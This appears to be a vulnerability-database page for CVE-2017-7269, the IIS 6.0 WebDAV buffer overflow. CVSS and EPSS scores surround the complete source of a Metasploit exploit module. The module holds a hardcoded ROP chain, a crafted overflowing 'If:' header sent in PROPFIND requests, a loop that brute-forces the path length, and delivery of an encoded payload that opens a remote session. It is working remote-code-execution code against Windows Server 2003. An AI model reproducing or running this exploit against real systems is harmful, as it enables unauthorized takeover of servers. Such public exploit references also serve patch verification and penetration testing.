9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
10 High
CVSS2
Access Vector
Access Complexity
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.971 High
EPSS
Percentile
99.8%
Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If: Author(s) Zhiniang Peng Chen Wu Dominic Chell firefart zcgonvh Rich Whitcroft Lincoln Platform Windows
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft IIS WebDav ScStoragePathFromUrl Overflow',
'Description' => %q{
Buffer overflow in the ScStoragePathFromUrl function
in the WebDAV service in Internet Information Services (IIS) 6.0
in Microsoft Windows Server 2003 R2 allows remote attackers to
execute arbitrary code via a long header beginning with
"If: <http://" in a PROPFIND request, as exploited in the
wild in July or August 2016.
Original exploit by Zhiniang Peng and Chen Wu.
},
'Author' =>
[
'Zhiniang Peng', # Original author
'Chen Wu', # Original author
'Dominic Chell <[email protected]>', # metasploit module
'firefart', # metasploit module
'zcgonvh <[email protected]>', # metasploit module
'Rich Whitcroft', # metasploit module
'Lincoln' # minor updates to metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-7269' ],
[ 'BID', '97127' ],
[ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ],
[ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00",
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
'DisableNops' => 'True',
'EncoderOptions' =>
{
'BufferRegister' => 'ESI',
}
},
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependMigrate' => true,
},
'Targets' =>
[
[
'Microsoft Windows Server 2003 R2 SP2 x86',
{
'Platform' => 'win',
'Arch' => ARCH_X86
},
],
],
'Platform' => 'win',
'DisclosureDate' => '2017-03-26',
'DefaultTarget' => 0,
'Notes' =>
{
'AKA' => ['EXPLODINGCAN'],
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [REPEATABLE_SESSION],
'Side Effects' => []
}
))
register_options(
[
OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']),
OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]),
OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]),
])
end
def min_path_len
datastore['MINPATHLENGTH']
end
def max_path_len
datastore['MAXPATHLENGTH']
end
def supports_webdav?(headers)
if headers['MS-Author-Via'] == 'DAV' ||
headers['DASL'] == '<DAV:sql>' ||
headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ ||
headers['Public'].to_s.include?('PROPFIND') ||
headers['Allow'].to_s.include?('PROPFIND')
return true
end
false
end
def check
res = send_request_cgi({
'uri' => target_uri.path,
'method' => 'OPTIONS'
})
unless res
vprint_error 'Connection failed'
return Exploit::CheckCode::Unknown
end
unless supports_webdav? res.headers
vprint_status 'Server does not support WebDAV'
return CheckCode::Safe
end
if res.headers['Server'].to_s.include? 'IIS/6.0'
return CheckCode::Vulnerable
end
CheckCode::Detected
end
# corelan.be
# rop chain generated with mona.py
def create_rop_chain
[
#MSVCRT.dll - all Windows 2003
0x77bcb06c, # POP ESI # RETN
0x77bef001, # Write pointer # Garbage
0x77bb2563, # POP EAX # RETN
0x77ba1114, # <- *&VirtualProtect()
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
0x41414141, # junk
0x77bbee22, # XCHG EAX,ESI # ADD BYTE PTR DS:[EAX],AL # RETN
0x77bc9801, # POP EBP # RETN
0x77be2265, # ptr to 'push esp # ret'
0x77bb2563, # POP EAX # RETN
0x03C0946F,
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
0x77bb48d3, # POP EBX, RET
0x77bf21e0, # .data
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
0x77bbfc02, # POP ECX # RETN
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
0x77bd8c04, # POP EDI # RETN
0x77bd8c05, # ROP NOP (-> edi)
0x77bb2563, # POP EAX # RETN
0x03c0944f,
0x77bdd441, # SUB EAX, 03c0940f
0x77bb8285, # XCHG EAX,EDX # RETN
0x77bb2563, # POP EAX # RETN
0x90909090, # nop
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
].pack("V*")
end
#encode string as UTF-8 char format that when converted to UTF-16LE
#will represent chars we want in memory
def utf_encode_str(str)
str.force_encoding('UTF-16LE').encode('UTF-8')
end
#filler chars to be encoded
def make_junk(len)
utf_encode_str rand_text_alpha(len)
end
def exploit
# extract the local servername and port from a PROPFIND request
# these need to be the values from the backend server
# if testing a reverse proxy setup, these values differ
# from RHOST and RPORT but can be extracted this way
vprint_status('Extracting ServerName and Port')
res = send_request_raw(
'method' => 'PROPFIND',
'headers' => {
'Content-Length' => 0
},
'uri' => target_uri.path
)
fail_with(Failure::BadConfig, 'Server did not respond correctly to WebDAV request') if(res.nil? || res.code != 207)
xml = res.get_xml_document
url = URI.parse(xml.at("//a:response//a:href").text)
server_name = url.hostname
server_port = url.port
server_scheme = url.scheme
http_host = "#{server_scheme}://#{server_name}:#{server_port}"
vprint_status("Using http_host #{http_host}")
print_status "Trying path length #{min_path_len} to #{max_path_len} ..."
min_path_len.upto(max_path_len) do |path_len|
vprint_status("Trying path length of #{path_len}...")
begin
buf1 = "<#{http_host}/"
buf1 << rand_text_alpha(114 - path_len)
buf1 << make_junk(32)
#survive SHR instruction 0x02020202
buf1 << utf_encode_str([0x02020202].pack('V'))
#str pointer to .data httpext.dll # ebp-328 # used in wcslen calculation
buf1 << utf_encode_str([0x680312c0].pack('V'))
buf1 << make_junk(40)
#0x680313c0 -> destination pointer used with memcpy
buf1 << utf_encode_str([0x680313c0].pack('V'))
buf1 << ">"
buf1 << " (Not <locktoken:write1>) <#{http_host}/"
buf1 << rand_text_alpha(114 - path_len)
buf1 << make_junk(28)
#0x680313c0 -> pointer to call itself at same address for vtable call
buf1 << utf_encode_str([0x680313c0].pack('V'))
#ROP 2 gadget -> advance ESP past previous instructions to start of ROP chain
#msvct.dll 0x77bdf38d # ADD ESP,1C # POP ECX # POP EBX # POP EAX # RETN
buf1 << utf_encode_str([0x77bdf38d].pack('V'))
buf1 << make_junk(8)
#0x680313c0 -> vtable pointer passed to EAX for call [eax +24]
#point to itself at [eax]
buf1 << utf_encode_str([0x680313c0].pack('V'))
buf1 << make_junk(16)
#ROP 1 gadget -> 0x68016082 stack flip get ECX into ESP and push EAX
#which also points to new ESP
buf1 << utf_encode_str([0x68016082].pack('V'))
buf1 << utf_encode_str(create_rop_chain)
#GetPC # push esp; pop esi; add esi, 10
buf1 << utf_encode_str("\x54\x5e\x83\xc6")
#GetPC ESI +10 plus encode alignment
buf1 << utf_encode_str("\x0a\x41")
buf1 << payload.encoded
buf1 << ">"
vprint_status 'Sending payload'
res = send_request_raw(
'method' => 'PROPFIND',
'uri' => target_uri.path,
'headers' => {
'Content-Length' => 0,
'If' => "#{buf1}"
}
)
next unless res
vprint_status("Server returned status #{res.code}")
next if res.code == 502 || res.code == 400
return if session_created?
vprint_status("Unknown Response: #{res.code}")
rescue ::Errno::ECONNRESET
vprint_status('got a connection reset')
next
end
end
end
end
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
10 High
CVSS2
Access Vector
Access Complexity
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.971 High
EPSS
Percentile
99.8%